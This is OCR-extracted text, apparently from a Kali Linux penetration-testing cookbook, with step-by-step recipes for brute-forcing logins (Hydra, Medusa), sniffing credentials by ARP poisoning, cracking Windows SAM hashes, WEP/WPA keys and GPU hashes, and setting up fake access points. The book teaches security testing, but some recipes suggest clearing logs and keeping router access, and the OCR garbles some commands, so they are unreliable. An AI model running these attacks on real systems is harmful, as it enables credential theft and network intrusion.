[ATTEMPT] target 192.168.10.111 - login "01" - pass "" - 2 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "02" - pass "" - 3 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "03" - pass "" - 4 of 5326956 [child

— e -
| Start | | Stop | Save Output Clear Qutput

hydra -V -Lfper:l;estfwebfwfuzszordlist,l‘fuzzdbfwordlists-user—passwdf,.. A
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In this recipe, we used Hydra to perform a dictionary attack against our target. Hydra works
by allowing us to specify a target, and using the username and password lists. It attempts
to brute-force passwords by using various combinations of usernames and passwords from
both lists.

Cracking HTTP passwords

In this recipe, we will crack HTTP passwords using the THC-Hydra password cracker
(Hydra). Access to websites and web applications are generally controlled by username
and password combinations. As with any other password type, users typically type in
weak passwords.

Getting ready

A connection to the Internet or intranet and a computer that we can use as our victim are
required to complete this recipe.

How to do it...

Let's begin the process of cracking HTTP passwords.

1. From the Start menu, select Applications | Kali Linux | Password Attacks | Online
Attacks | hydra-gtk.
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|T3r99t_mssword5 Tuning Specific Start

Target
O Single Target 1127.0.0.1 |
O Target List | |
[ Prefer IPV6
Port o 4
Protocol \afp | v |

Output Options

[ Use 55L ] Be Verbose
[ Show Attermnpts [ Debug
hydra -1 yourname -p yourpass -t 16 127.0.0.1 afp ,4

Now that we have Hydra started, we will need to set our word lists. Click on the
Passwords tab. We will use a username list and a password list. Enter the location
of your username and password lists. Also select Loop around users and Try

empty password.
o Username List: /usr/share/wfuzz/wordlist/fuzzdb/wordlists-
user-passwd/names/nameslist.txt

o Password List: /usr/share/wfuzz/wordlist/fuzzdb/wordlists-
user-passwd/passwds/john. txt
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A shortcut you can use is to single click inside of the
s wordlist box to bring up a filesystem window.

Target | Passwords | Tuning Specific Start

Usemame
) Usermmame |y0umame |
© Usemame List wd,lnames,-‘namelist.tx
& Loop around users
Passwor&
) Password |y0urpass |
© Password List |355wdfpa55wd5ﬁjohn.txt|

Colon separated file

[ Use Colon separated file | |

[ Try login as password & [Try empty password|

hydra -V -L /jpentest/web/wfuzz/wordlist/fuzzdb/wordlists-userpasswd/... 4
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Next, we will tune the attack. Under Performance Options, we set the number

of tasks from 16 to 2. The reason for this is that we do not want to have so many
processes running that we bring down the server. Although optional, we also want
to set the Exit after first found pair option.

¢ Target Passwords‘TUﬂil'lg ‘Speciﬁc Start

Performance Options

Number of Tasks .
Timeout 15 |

® Exit after first found pair

Use a HTTP/HTTPS Proxy
| © No Proxy Oy HTTP Method (—) CONNECT Method

Proxy |http://127.0.0.1:8080 |

[ Proxy needs authentication

Usemame |y0umame |

Password |y0urpa55 |

hydra -V -L /pentest/web/wfuzz/wordlist/ffuzzdb/wordlists-userpasswd/... 4
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4. Finally, we will go after our target. Click the Target tab and set our target and protocol
that we wish to attack. In our case, we are using the HTTP port of our Metasploitable
machine (192.168.10.111).

: Tal'QEt‘Passwords Tuning Specific Start

| Target
! O Single Target 192.168.10.111 |
O Target List | |
[ Prefer IPV6
Port E
Protocol |my5q| [v]

Output Options

[ Use SSL [ Be Verbose

® Show Attempts [ Debug

hydra -V -L /pentest/web/wfuzz/wordlist/fuzzdbjwordlists-userpasswd/... 4
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5. Finally, we execute the exploit by clicking on the Start tab and then the Start button.

% xHydra

Quit

Target Passwords Tuning Specific Start

Output
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposs

Hydra (http:/fwww.thc.org/thc-hydra) starting at 2012-08-29 07:27:17
[DATA] 2 tasks, 1 server, 5926956 login tries {1:1907/p:3108), ~2963478 trie
[DATA] attacking service mysgl on port 3306

[ATTEMPT] target 192.168.10.111 - login "0" - pass "* - 1 of 5926956 [child (
[ATTEMPT] target 192.168.10.111 - login "01" - pass "" - 2 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "02" - pass "" - 3 of 5926956 [child
[ATTEMPT] target 192.168.10.111 - login "03" - pass "" - 4 of 5926956 [child

| Start | | Stop | Save Output | Clear Output |
hydra -V -Lfper\'ll:estfwebf’wfuzz!wordlistffuzzdbfwordlists-user-passwdf... A

Gaining router access

In this recipe, we will use a brute-force attack using Medusa.

These days, we are in a networked society. With networked video game systems, multiple
computers in most homes, and small businesses growing at a record pace, routers have
become the cornerstone of network communication. What hasn't increased is the number

of experienced network administrators to secure these routers, leaving many of these routers
vulnerable to attack.

Getting ready

A connection to the Internet or intranet is required to complete this recipe.

An available router is also required.
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How to do it...

1. From the Start menu, navigate to Applications | Kali Linux | Password Attacks |
Online Attacks | medusa. When Medusa launches, it loads its help file.

t to the

-d
-n [NUM]
-5

[NUM]
[NUM]

2. We now run Medusa with our chosen options:

medusa -M http -h 192.168.10.1 -u admin -P /usr/share/wfuzz/
wordlist/fuzzdb/wordlists-user-passwd/passwds/john.txt -e ns -n 80
-F

o -M http allows us to specify our module. In this case, we have chosen the
HTTP module.

o -h 192.168.10.1 allows us to specify our host. In this case, we have
chosen 192.168.10.1 (the IP address of our router).

o -u admin allows us to specify our user. In this case, we have chosen admin.

o -P [location of password list] allows us to specify our password
list location.

o -e ns allows us to specify additional password checks. The ns variable
allows us to use the username as a password and to use empty passwords.
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o -n 80 allows us to specify our port number. In this case we chose 80.

o -F allows us to stop the audit after we have succeeded with a
username-password combination.

3. Medusa will run and try all username and password combinations until
one succeeds.

In this recipe, we used Medusa to brute-force the password of our target router. The benefit
of being able to do this is that once you have access to the router you can update its settings
to allow you to access it again in the future or even reroute the traffic sent to the router to
alternate locations of your choosing.

There's more...

You can also run Medusa directly from the command line by issuing the medusa command.

You can also pass other options to Medusa depending on your situation. Please see the help
file—by just typing medusa in a terminal window—for more details.

Types of modules
The following is a list of modules that we can use with Medusa:

» AFP

» CVS

» FTP

» HTTP

» IMAP

» MS-SQL
»  MySQL

» NetWare
» NNTP

» PCAnywhere
» Pop3
» PostgreSQL
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>

>

REXEC

RLOGIN

RSH

SMBNT
SMTP-AUTH
SMTp-VRFY
SNMP

SSHv2
Subversion
Telnet

VMware Authentication
VNC

Generic Wrapper
Web form

Password profiling

In this recipe, we will learn how to profile passwords before we begin our password attack.
The purpose of profiling passwords is to allow us to get to a smaller wordlist by gathering
information against our target machine, business, and so on. In this tutorial, we will use
Ettercap and its ARP poisoning function to sniff traffic.

Getting ready

A connection to the local network is required to complete this recipe.

How to do it...

Let's begin the process of password profiling by launching Ettercap.

1.

We begin this recipe by configuring Ettercap. First, we locate its configuration file
and edit it using VIM.

locate etter.conf

vi /etc/etterconf
Note, your location may be different.

Change the ec_uid and ec_gid values to 0.
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[mitm] I

3. Next we need to uncomment the following IPTABLES lines under the LINUX section
near the end of the file:

-t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --t«

t -j REDIRECT -

a

4. Now, we are finally ready to launch Ettercap. Using the -G option, launch the
Graphical User Interface (GUI).

ettercap -G
~ v % ettercap 0.7.4.1
File Sniff Options Help
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5. We begin the process by turning on unified sniffing. You can press Shift + U
or by using the menu and navigating to Sniff | Unified sniffing....

* ettercap 0.7.4.1
File | Sniff ons_Help
ified sniffing... Shift+U

SNIIINg... shift+B

Set pcap filter...

@ Network interface : [EE | v |

| 0K || Cancel |

7. Next, we turn on Scan for hosts. This can be accomplished by pressing Ctrl + S
or by using the menu and navigating to Hosts | Scan for hosts.

* ettercap 0.7.4.1
Start Targets Hosts ' ng Plugins Help

from nie... Ctd+0
ve to file... ctri+Ss

8. Now we are able to allow Ettercap to begin sniffing. You can press either Ctrl + W
or use the menu and navigate to Start | Start Sniffing.

*x ettercap 0.7.4.1
ts Hosts Mitm Filters g Plugins Helj

ffing

iffing
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9. Finally, we begin the ARP poisoning process. From the menu, navigate
to Mitm | Arp poisoning.

x ettercap 0.7.4.1
He | Mitm ng Plugins Help

10. In the window that appears, check the optional parameter for Sniff
remote connections.

— Optional parameters
@ & [Sniff remote connections.|

[ Only poison one-way.

oK Cancel
| I |

7587 mac vendor fingerpnnt

1766 tcp OS fingerprint

2183 known Services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Starting Unified sniffing...

ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)

GROUP 2 : ANY (all the hosts in the list)
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12. Once we have found what we are looking for (usernames and passwords). We will
turn off Ettercap. You can do this by either pressing Ctrl + E or by using the menu
and navigating to Start | Stop sniffing.

* ettercap 0.7.4.

Stop sniffing Ctri+E »

In this recipe, we have used Ettercap to poison a network and steal usernames and passwords
from the network. We began the recipe by locating and altering Ettercap's configuration file.
Next we launched Ettercap and executed a Man In The Middle (MITM) attack using ARP
poisoning. As the traffic is redirected to our machine, we will be able to see usernames and
passwords as they are transmitted by users on the network.

We can also use Metasploit to profile usernames as well. We will perform this by using the
search email collector module.

1. Open a terminal window and begin MSFCONSOLE:

msfconsole

2. Search for the email collector:

search email collector
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h_email_

3. Issue the command to use the search email collector module:

use auxiliary/gather/search email collector

4. Show the available options for the module:

show options

msf auxiliary( ) = showloptiocns

5. Next we set our domain name. Please be careful with your choice! You do not want
federal authorities at your door!

6. Setthe domain with your desired domain name.

set domain gmail.com
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7. Set the output file. This does not have to be done and is optional. It's recommended

to use this if you are going to run several attacks or if you want to be able to run an
attack at a later time.

set outfile /root/Desktop/fromwillie.txt

jomain gmail.com

utfile

8. Finally, we run the exploit:

run

Writing email address list to /root/Desktop/gmail.com...
Auxiliary module execution completed
auxiliary( } =

Cracking a Windows password using John
the Ripper

In this recipe, we will utilize John the Ripper (John) to crack a Windows Security Access
Manager (SAM) file. The SAM file stores the usernames and password hashes of users of
the target Windows system. For security reasons, the SAM file is protected from unauthorized
access by not being able to be opened manually or be copied while the Windows system is

in operation.

Getting ready

You will need access to a SAM file.

For this recipe, we will assume that you have gained access to a Windows host machine.

How to do it...

Let's begin the process of cracking a Windows SAM file using John the Ripper. We are assuming
that you have accessed the Windows machine via either a remote exploit hack or you have
physical access to the computer and are using Kali Linux on a USB or DVD-ROM drive.

1. Check for the hard drive you wish to mount:
Fdisk -1
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2. Mount the hard drive and set target as its mount point:
mount /dev/sdal /target/

3. Change directories to the location of the Windows SAM file:
cd /target/windows/system32/config

4. List all of the contents of the directory:
ls -al

5. Use SamDump2 to extract the hash and place the file in your root user directory in a
folder called hashes:
samdump2 system SAM > /root/hashes/hash.txt

6. Change directories to the directory of John the Ripper:
cd /pentest/passwords/jtr

7. Run John the Ripper:
./john /root/hashes/hash.txt

./john /root/hashes/hash.txt-f:nt (If attacking a file on a NTFS
System)

Using dictionary attacks

In this recipe, we will examine dictionary or wordlist attacks. A dictionary attack uses a
predetermined set of passwords and attempts to brute-force a password match for a given
user against the wordlist. There are three types of dictionary lists that are generally generated:

» Username Only: Lists that contain generated usernames only

» Password Only: Lists that contain generated passwords only

» Username and Password Lists: Lists that contain both generated usernames
and passwords

For our demonstration purposes, we will utilize Crunch to generate our very own
password dictionary.

Getting ready

This recipe requires an installation of Crunch on your Kali installation
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How to do it...

The good thing about Kali Linux, unlike BackTrack, is that Kali already includes Crunch.

1. Open aterminal window and enter the crunch command in order to see the Crunch
help file:

crunch

The outout from cru

nch <min= <max=
and max are numb

mples on how to use crunch.

2. The basic syntax for generating a password with Crunch is crunch [minimum
length] [maximum length] [character set] [options]

3. Crunch has several options available. Some of the most commonly used options are:

o - o:this option allows you to specify a filename and location to output
the wordlist.

o -b: this option allows you to specify the maximum number of bytes to
write per file. Sizes can be specified in KB/MB/GB and must be used in
conjunction with the -o START trigger.

o -t:this option allows you to specify a pattern to use.

o -1:this option allows you to identify literal characters for some of the
placeholders when using the -t option (e, %, *).

4. Next, we execute the command to create a password list on our desktop that has a
minimum of 8 characters, a maximum of 10 characters, and using a character set of
ABCDEFGabcdefg01234567809.

crunch 8 10 ABCDEFGabcdefg0123456789 -o /root/Desktop/
generatedCrunch. txt

ing number of
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5. Once the file has been generated, we use Nano to open the file:

nano /root/Desktop/generatedCrunch.txt

In this recipe we used Crunch to generate a password dictionary list.

Using rainbow tables

In this recipe, we will learn about how to use rainbow tables with Kali. Rainbow tables are
special dictionary tables that use hash values instead of standard dictionary passwords to
achieve the attack. For our demonstration purposes, we will use RainbowCrack to generate
our rainbow tables.

How to do it...

1. Open a terminal window and change directories to the directory of rtgen:

cd /usr/share/rainbowcrack/

2. Next we are going to run rtgen to generate an MD5-based rainbow table:
./rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0

1
0
6

tial starting point in from @
ting...




Password Attacks

3. Once your tables have been generated—a process that depends on the number of
processors being used to generate the hashes (2-7 hours)—your directory will contain
* . rt files.

4. To begin the process of cracking the passwords, we will use the rtsort program
to sort the rainbow tables to make it an easy process.

In this recipe, we used various RainbowCrack tools to generate, sort, and crack an MD5
password. RainbowCrack works by brute-forcing hashes based upon precomputed hash
values using rainbow tables. We began this recipe by generating an MD5 rainbow table using
lowercase, alphanumeric values. By the end of the recipe, we achieved success by creating
our rainbow tables to utilize it against a hash file.

Using nVidia Compute Unified Device

Architecture (CUDA)

In this recipe, we will use the nVidia Compute Unified Device Architecure (CUDA) to crack
password hashes. CUDA is a parallel computing platform that increases computing
performance by harnessing the power of the GPU. As time has passed, GPU processing
power has increased dramatically which allows us the ability to use it for our computational
purposes. For demonstration purposes, we will use OclHashcat-lite to crack the passwords.

Getting ready

An nVidia CUDA supported graphics card is required to complete this recipe.

How to do it...

1. Open a terminal window and change to the directory that contains OclHashcat:

cd /usr/share/oclhashcat-plus

cl C oclExampled00.sh
cudaExample®, s :

cudaExampl
cudaExample5
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Execute the following command to launch the cudaHashcat-lite help file:
./cudaHashcat-plus.bin -help

The syntax for running OclHashcat is in the form of cudaHashcat-plusé4.bin
[options] hash [mask].

One of the important aspects of using OclHashcat is to
i understand its character-set structure.

Before we deploy our attack, let's view some of the available attack vectors we can
specify. OclHashcat utilizes left and right masks with its attacks. The characters of

a password are divided into masks and are divided evenly to make a right and a left
mask. For each side of the mask, you can specify either a dictionary or a charset. For
our purposes, we will use a customized charset.

To specify a custom charset, we use the -1 option. We can have as many custom
charsets as we want as long as you specify them with a number (1 -n). Each custom
character is represented by a question mark (?) and is followed by the type of
character expected. The options available are:

o d specifies the use of digits (0-9)

o 1 specifies a lower case character

o u specifies an upper case character

o s specifies special characters

o 1-n specifies a custom charset to use as a placeholder
So to put it all together, we will specify a custom character set that will include special
characters (s), upper case characters (u), lower case characters (1), and digits (d)

on an expected 8 character password. We are going to specify a hashlist called
attackfile.

./cudaHashcat-plus64.bin attackfile -1 ?1?u?d?s ?1?1?1?1 ?1?1°?1°?1

We can break down the preceding command as follows:
o ./cudaHashcat-plusé4.bin calls the cudaHashcat
o attackfile is our attackfile

o -1 ?1?u?d? specifies a custom charset one, with options of lowercase,
uppercase, digits, and special characters

o ?1?1?17?1 isour left mask using charset one
o 21?1?2121 isour right mask using charset one

That's it!
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Using ATI Stream

In this recipe, we will use ATl Stream to crack password hashes. ATl Stream is similar to
CUDA in that it is a parallel computing platform that increases computing performance

by harnessing the power of the graphics processing unit (GPU). As time has passed, GPU
processing power has increased dramatically which allows us the ability to use it for our
computational purposes. For demonstration purposes, we will use OclHashcat-plus to crack
the passwords. OclHashcat comes in two versions: plus and lite. Both are included with

Kali Linux.

Getting ready

An ATI Stream supported graphics card is required to complete this exercise.

How to do it...

Let's begin the process by working with OclHashcat-plus.

1. Open a terminal window and change to the directory that contains OclHashcat:
Cd /usr/share/oclhashcat-plus
:/usr/share/oclhashcat-plus# 1s

cl daHas Dle C oclExample400,sh
cudaExample®.sh npled. t.hcstat oclExample500.sh

cudaExample .S np é k s oclHashcat-plus.bin
cudaExample500 np a oclExample0O.sh rules

2. Execute the command to launch the oclHashcat-lite help file.
./oclHashcat-plus64.bin -help

3. The syntax for running OclHashcat is in the form of oc1Hashcat-plusé64.bin
[options] hash [mask].

One of the important aspect of using OclHashcat is to
i understand its character-set structure.

4. Before we deploy our attack, let's view some of the available attack vectors we can
specify. OclHashcat utilizes left and right masks with its attacks. The characters of
a password are divided into masks and are divided evenly to make a right and a left
mask. For each side of the mask, you can specify either a dictionary or a charset.
For our purposes, we will use a customized charset.
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To specify a custom charset, we use the -1 option. We can have as many custom
charsets as we want as long as you specify them with a number (1 -n). Each custom
character is represented by a question mark (?) and is followed by the type of
character expected. The options available are:

o d specifies the use of digits (0-9)

o 1 specifies a lower case character

o u specifies an upper case character

o s specifies special characters

o 1-nspecifies a custom charset to use as a placeholder
So to put it all together, we will specify a custom character set that will include
special characters (s), upper case characters (u), lower case characters (1),

and digits (d) on an expected 8 character password. We are going to specify
a hashlist called attackfile.

./oclHashcat-plusé64.bin attackfile -1 ?1?u?d?s ?1?21?1?1 ?21?1?1°?1

We can break down the preceding command as follows:
o ./oclHashcat-plusé64.bin calls the oclHashcat
o attackfile is our attackfile

o -1 ?1?u?d? specifies custom charset one with options of lowercase,
uppercase, digits, and special characters

o 21?1?1721 isour left mask using charset one

o 21?1?2121 isour right mask using charset one

That's it!

Physical access attacks

In this recipe, we will utilize SUCrack to perform a physical access password attack. SUCrack
is a multithreaded tool that allows for brute-force cracking of local user accounts via su. The
su command in Linux allows you to run commands as a substitute user. This attack, though
useful when you are unable to escalate privileges on a Linux/Unix system by other means,
will fill up the log files rather quickly so please be sure to clean the log files after completion.

SUCrack has several command options that we can use:

>

>

>

--help allows you to view the help file for SUCrack.
-1 allows you to change the user whose login we are attempting to circumvent.

- allows you to set the number of seconds between when statistics are displayed.
The default setting is every 3 seconds.
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» -a allows you to set whether ANSI escape codes should be used or not.

» -w allows you to set the number of worker threads that SUCrack can utilize.
Since SUCrack is multi threaded, you can run as many worker threads as you
wish. We recommend using only one as each failed login attempt usually causes
a 3 second delay before the next password is attempted.

How to do it...

1. Inorder to use SUCrack, you must specify a wordlist when opening it. Otherwise,
you will get a funny message. Open a terminal window and execute the sucrack
command. For our purposes, we will use a previously created custom wordlist file
generated by Crunch. However, you can specify any wordlist that you would like.

sucrack /usr/share/wordlists/rockyou.txt
2. If you would like to set two worker threads, want to display statistics every 6 seconds,
and want to set ANSI escape codes to be used, you can use the following command:

sucrack -w 2 -s 6 -a /usr/share/wordlists/rockyou.txt

That's it!

In this recipe, we used SUCrack to perform a physical access password attack on the root user
of the system. The attack works by using the wordlist specified to perform a dictionary attack
against either the administrator (the default choice) or a specified user. We run the sucrack
command, which provides us with our attack.
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In this chapter, we will cover:

» Wireless network WEP cracking

» Wireless network WPA/WPA2 cracking
» Automating wireless network cracking
» Accessing clients using a fake AP

» URL traffic manipulation

» Port redirection

» Sniffing network traffic

Introduction

These days, wireless networks are everywhere. With users being on the go like never before,
having to remain stationary because of having to plug into an Ethernet cable to gain Internet
access is not feasible. For this convenience, there is a price to be paid; wireless connections
are not as secure as Ethernet connections. In this chapter, we will explore various methods
for manipulating radio network traffic including mobile phones and wireless networks.
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Wireless network WEP cracking

Wireless Equivalent Privacy, or WEP as it's commonly referred to, has been around since
1999 and is an older security standard that was used to secure wireless networks. In 2003,
WEP was replaced by WPA and later by WPA2. Due to having more secure protocols available,
WEP encryption is rarely used. As a matter of fact, it is highly recommended that you never
use WEP encryption to secure your network! There are many known ways to exploit WEP
encryption and we will explore one of those ways in this recipe.

In this recipe, we will use the AirCrack suite to crack a WEP key. The AirCrack suite (or AirCrack
NG as it's commonly referred to) is a WEP and WPA key cracking program that captures
network packets, analyzes them, and uses this data to crack the WEP key.

Getting ready

In order to perform the tasks of this recipe, experience with the Kali terminal window is
required. A supported wireless card configured for packet injection will also be required.
In case of a wireless card, packet injection involves sending a packet, or injecting it onto
an already established connection between two parties. Please ensure your wireless card
allows for packet injection as this is not something that all wireless cards support.

How to do it...

Let's begin the process of using AirCrack to crack a network session secured by WEP.

1. Open a terminal window and bring up a list of wireless network interfaces:

airmon-ng

~# airmon-ng

2. Underthe interface column, select one of your interfaces. In this case, we will use
wlano. If you have a different interface, such as mono0, please substitute it at every
location where wlano is mentioned.

3. Next, we need to stop the wlano interface and take it down so that we can change
our MAC address in the next step.

airmon-ng stop

ifconfig wlan0 down
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Next, we need to change the MAC address of our interface. Since the MAC
address of your machine identifies you on any network, changing the identity
of our machine allows us to keep our true MAC address hidden. In this case,
we willuse 00:11:22:33:44:55.

macchanger --mac 00:11:22:33:44:55 wlanO

Now we need to restart airmon-ng.

airmon-ng start wlan0

Next, we will use airodump to locate the available wireless networks nearby.

airodump-ng wlan0

A listing of available networks will begin to appear. Once you find the one you want
to attack, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID
column, right click your mouse, and select copy. Also, make note of the channel
that the network is transmitting its signal upon. You will find this information in the
Channel column. In this case, the channel is 10.

Now we run airodump and copy the information for the selected BSSID to a file.
We will utilize the following options:

o -c allows us to select our channel. In this case, we use 10.

o -w allows us to select the name of our file. In this case, we have chosen
wirelessattack.

o -bssid allows us to select our BSSID. In this case, we will paste
09:AC:90:AB: 78 from the clipboard.

airodump-ng -c¢ 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan0

A new terminal window will open displaying the output from the previous command.
Leave this window open.

Open another terminal window; to attempt to make an association, we will run
aireplay, which has the following syntax: aireplay-ng -1 0 -a [BSSID] -h
[our chosen MAC address] -e [ESSID] [Interface]

aireplay-ng -1 0 -a 09:AC:90:AB:78 -h 00:11:22:33:44:55 -e
backtrack wlan0

Next, we send some traffic to the router so that we have some data to capture. We
use aireplay again in the following format: aireplay-ng -3 -b [BSSID] - h
[Our chosen MAC address] [Interface]

aireplay-ng -3 -b 09:AC:90:AB:78 -h 00:11:22:33:44:55 wlan0

Your screen will begin to fill with traffic. Let this process run for a minute or two until
we have information to run the crack.
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13. Finally, we run AirCrack to crack the WEP key.

aircrack-ng -b 09:AC:90:AB:78 wirelessattack.cap

That's it!

In this recipe, we used the AirCrack suite to crack the WEP key of a wireless network. AirCrack
is one of the most popular programs for cracking WEP. AirCrack works by gathering packets
from a wireless connection over WEP and then mathematically analyzing the data to crack
the WEP encrypted key. We began the recipe by starting AirCrack and selecting our desired
interface. Next, we changed our MAC address which allowed us to change our identity on the
network and then searched for available wireless networks to attack using airodump. Once
we found the network we wanted to attack, we used aireplay to associate our machine with
the MAC address of the wireless device we were attacking. We concluded by gathering some
traffic and then brute-forced the generated CAP file in order to get the wireless password.

Wireless network WPA/WPA2 cracking

WiFi Protected Access, or WPA as it's commonly referred to, has been around since 2003
and was created to secure wireless networks and replace the outdated previous standard,
WEP encryption. In 2003, WEP was replaced by WPA and later by WPA2. Due to having more
secure protocols available, WEP encryption is rarely used.

In this recipe, we will use the AirCrack suite to crack a WPA key. The AirCrack suite (or AirCrack
NG as it's commonly referred) is a WEP and WPA key cracking program that captures network
packets, analyzes them, and uses this data to crack the WPA key.

Getting ready

In order to perform the tasks of this recipe, experience with the Kali Linux terminal windows
is required. A supported wireless card configured for packet injection will also be required.
In the case of a wireless card, packet injection involves sending a packet, or injecting it onto
an already established connection between two parties.
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How to do it...

Let's begin the process of using AirCrack to crack a network session secured by WPA.

1. Open a terminal window and bring up a list of wireless network interfaces.

airmon-ng

~# airmon-ng

2. Under the interface column, select one of your interfaces. In this case, we will use
wlano. If you have a different interface, such as mono, please substitute it at every
location where wlano is mentioned.

3. Next, we need to stop the wlano interface and take it down.
airmon-ng stop wlan0
ifconfig wlan0 down
4. Next, we need to change the MAC address of our interface. In this case, we will use
00:11:22:33:44:55.
macchanger --mac 00:11:22:33:44:55 wlanoO

5. Now we need to restart airmon-ng.

airmon-ng start wlan0

6. Next, we will use airodump to locate the available wireless networks nearby.

airodump-ng wlan0

7. Alisting of available networks will begin to appear. Once you find the one you want
to attack, press Ctrl + C to stop the search. Highlight the MAC address in the BSSID
column, right-click, and select copy. Also, make note of the channel that the network
is transmitting its signal upon. You will find this information in the Channel column.
In this case, the channel is 10.

8. Now we run airodump and copy the information for the selected BSSID to a file.
We will utilize the following options:

o -c allows us to select our channel. In this case, we use 10.

o -w allows us to select the name of our file. In this case, we have chosen
wirelessattack.

o -bssid allows us to select our BSSID. In this case, we will paste
09:AC:90:AB: 78 from the clipboard.

airodump-ng -c¢ 10 -w wirelessattack --bssid 09:AC:90:AB:78 wlan0
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9. A new terminal window will open displaying the output from the previous command.
Leave this window open.

10. Open another terminal window; to attempt to make an association, we will run
aireplay, which has the following syntax: aireplay-ng -dauth 1 -a [BSSID]
-c¢ [our chosen MAC address] [Interface]. This process may take a few
moments.
Aireplay-ng --deauth 1 -a 09:AC:90:AB:78 -c 00:11:22:33:44:55
wlanO

11. Finally, we run AirCrack to crack the WPA key. The —w option allows us to specify the
location of our wordlist. We will use the . cap file that we named earlier. In this case,
the file's name iswirelessattack. cap.

Aircrack-ng -w ./wordlist.lst wirelessattack.cap

That's it!

In this recipe, we used the AirCrack suite to crack the WPA key of a wireless network. AirCrack
is one of the most popular programs for cracking WPA. AirCrack works by gathering packets
from a wireless connection over WPA and then brute-forcing passwords against the gathered
data until a successful handshake is established. We began the recipe by starting AirCrack
and selecting our desired interface. Next, we changed our MAC address which allowed us

to change our identity on the network and then searched for available wireless networks to
attack using airodump. Once we found the network we wanted to attack, we used aireplay
to associate our machine with the MAC address of the wireless device we were attacking. We
concluded by gathering some traffic and then brute forced the generated CAP file in order to
get the wireless password.

Automating wireless network cracking

In this recipe we will use Gerix to automate a wireless network attack. Gerix is an automated
GUI for AirCrack. Gerix comes installed by default on Kali Linux and will speed up your wireless
network cracking efforts.

Getting ready

A supported wireless card configured for packet injection will be required to complete this
recipe. In the case of a wireless card, packet injection involves sending a packet, or injecting
it, onto an already established connection between two parties.
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How to do it...

Let's begin the process of performing an automated wireless network crack with Gerix by
downloading it.

1.

Using wget, navigate to the following website to download Gerix.

wget https://bitbucket.org/Skin36/gerix-wifi-cracker-pyqt4/
downloads/gerix-wifi-cracker-master.rar

Once the file has been downloaded, we now need to extract the data from the
RAR file.

unrar x gerix-wifi-cracker-master.rar

Now, to keep things consistent, let's move the Gerix folder to the /usr/share
directory with the other penetration testing tools.

mv gerix-wifi-cracker-master /usr/share/gerix-wifi-cracker

Let's navigate to the directory where Gerix is located.

cd /usr/share/gerix-wifi-cracker

To begin using Gerix, we issue the following command:

python gerix.py

* Gerix wifi cracker

Welcome | Configuration l WEP l WPA l Fake AP I Cracking l Database l Credits I

el BN

Gerix racker

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele "emgent’ Gentili and Emanuele “crossbower” Acri. The tool is under GPL 2
License.

enjoy!

20:33:56 - database reloaded: jroot/.gerix-wifi-cracker/key-database.db [Success)
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6. Click on the Configuration tab.
On the Configuration tab, select your wireless interface.
Click on the Enable/Disable Monitor Mode button.

Once Monitor mode has been enabled successfully, under Select Target Network,
click on the Rescan Networks button.

© » N

10. The list of targeted networks will begin to fill. Select a wireless network to target.
In this case, we select a WEP encrypted network.

11. Click on the WEP tab.

Welcome | Configuration | wer |WPA | Fake AP | Cracking |Dal:abase ICredil:s ]

Welcome in WEP Attacks Control Panel

General functionalities

- Functionalities-

_ Stantsnifingandlogging |

Tests
{ Performs a test of injection AP I

12. Under Functionalities, click on the Start Sniffing and Logging button.

13. Click on the subtab WEP Attacks (No Client).

14. Click on the Start false access point authentication on victim button.

15. Click on the Start the ChopChop attack button.

16. In the terminal window that opens, answer Y to the Use this packet question.
17. Once completed, copy the . cap file generated.

18. Click on the Create the ARP packet to be injected on the victim access
point button.

19. Click on the Inject the created packet on victim access point button.
20. In the terminal window that opens, answer Y to the Use this packet question.
21. Once you have gathered approximately 20,000 packets, click on the Cracking tab.
22. Click on the Aircrack-ng - Decrypt WEP Password button.
That's it!
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In this recipe, we used Gerix to automate a crack on a wireless network in order to obtain the
WEP key. We began the recipe by launching Gerix and enabling the monitoring mode interface.
Next, we selected our victim from a list of attack targets provided by Gerix. After we started
sniffing the network traffic, we then used Chop Chop to generate the CAP file. We concluded
the recipe by gathering 20,000 packets and brute-forced the CAP file with AirCrack.

With Gerix, we were able to automate the steps to crack a WEP key without having to manually
type commands in a terminal window. This is an excellent way to quickly and efficiently break
into a WEP secured network.

Accessing clients using a fake AP

In this recipe, we will use Gerix to create and set up a fake access point (AP). Setting up a
fake access point gives us the ability to gather information on each of the computers that
access it. People in this day and age will often sacrifice security for convenience. Connecting
to an open wireless access point to send a quick e-mail or to quickly log into a social network
is rather convenient. Gerix is an automated GUI for AirCrack.

Getting ready

A supported wireless card configured for packet injection will be required to complete this
recipe. In the case of a wireless card, packet injection involves sending a packet, or injecting it
onto an already established connection between two parties.

How to do it...

Let's begin the process of creating a fake AP with Gerix.

1. Let's navigate to the directory where Gerix is located:

cd /usr/share/gerix-wifi-cracker
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2. To begin using Gerix, we issue the following command:
python gerix.py

* Gerix wifi cracker

Welcome | Configuration | WEP |WPA |Fake AP | Cracking | Database | Credits

N

Gerix racker

Hello and Welcome!

Gerix Wifi Cracker is a GUI that can help you to work in Wireless 802.11 Penetration Test.
Created by Emanuele "emgent” Gentili and Emanuele "crossbower™ Acri. The tool is under GPL 2
License.

enjoy!

20:33:56 - database reloaded: froot/.gerix-wifi-cracker/key-database.db [Success)

Click on the Configuration tab.
On the Configuration tab, select your wireless interface.
Click on the Enable/Disable Monitor Mode button.

Once Monitor mode has been enabled successfully, under Select Target Network,
press the Rescan Networks button.

o o &~ W

7. The list of targeted networks will begin to fill. Select a wireless network to target.
In this case, we select a WEP encrypted network.

8. Click on the Fake AP tab.
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Welcome | Configuration | WEP | WPA | Fake AP ]Cra:king | atabase | credits |

Welcome in Fake Access Point Control Panel

Create Fake AP |

Access point ESSID:

|hune'|_.rpat
Access point channel:

|1z

r Cryptography tags Key in Hex (Ex. aabbccddee) or Empty:
T WEP & None  WPA  WPA2

|aabbecddes

WPA/WPAZ types-
& WEP40 T TKIP T WRAP © CCMP  WEP104

~ Options
™ AdHoc mede [T Hidden SSID ™ Disable broadcast probes ™ Respond to all probes

